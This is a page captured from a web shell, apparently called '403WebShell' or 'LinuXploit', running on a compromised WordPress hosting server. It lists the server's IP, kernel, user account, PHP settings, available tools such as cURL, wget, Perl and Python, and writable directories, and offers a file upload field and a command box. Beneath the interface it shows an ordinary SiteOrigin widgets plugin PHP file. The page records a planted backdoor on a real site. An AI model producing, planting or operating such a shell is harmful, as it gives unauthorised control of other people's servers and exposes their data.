Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.225.164
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/so-widgets-bundle/base/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/so-widgets-bundle/base/inc/less-functions.php
<?php

/**
 * Class siteorigin_lessc
 *
 * An extension to the SiteOrigin_LessC class that adds a few custom functions
 */
class SiteOrigin_Widgets_Less_Functions {
	private $widget;
	private $widget_instance;

	public function __construct( $widget, $widget_instance ) {
		$this->widget = $widget;
		$this->widget_instance = $widget_instance;
	}

	/**
	 * @param SiteOrigin_LessC $c
	 *
	 * Register less functions in a SiteOrigin_LessC object
	 */
	public function registerFunctions( &$c ) {
		if ( method_exists( $c, 'registerFunction' ) ) {
			$c->registerFunction( 'length', array( $this, 'length' ) );
		}
	}

	/**
	 * Very basic length function that checks the length of a list. Might need some more checks for other types.
	 *
	 * @return int
	 */
	public function length( $arg ) {
		if ( empty( $arg[0] ) || empty( $arg[2] ) || $arg[0] != 'list' ) {
			return 1;
		}

		return count( $arg[2] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit